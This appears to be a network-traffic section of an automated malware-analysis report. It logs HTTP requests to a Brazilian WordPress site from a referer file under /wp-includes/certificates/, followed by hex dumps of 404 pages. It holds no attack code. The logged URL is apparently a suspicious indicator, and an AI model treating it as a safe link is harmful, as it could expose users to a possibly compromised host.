Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:39:28 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:39:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:39:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:39:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 15075246Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:39:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 21929784Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 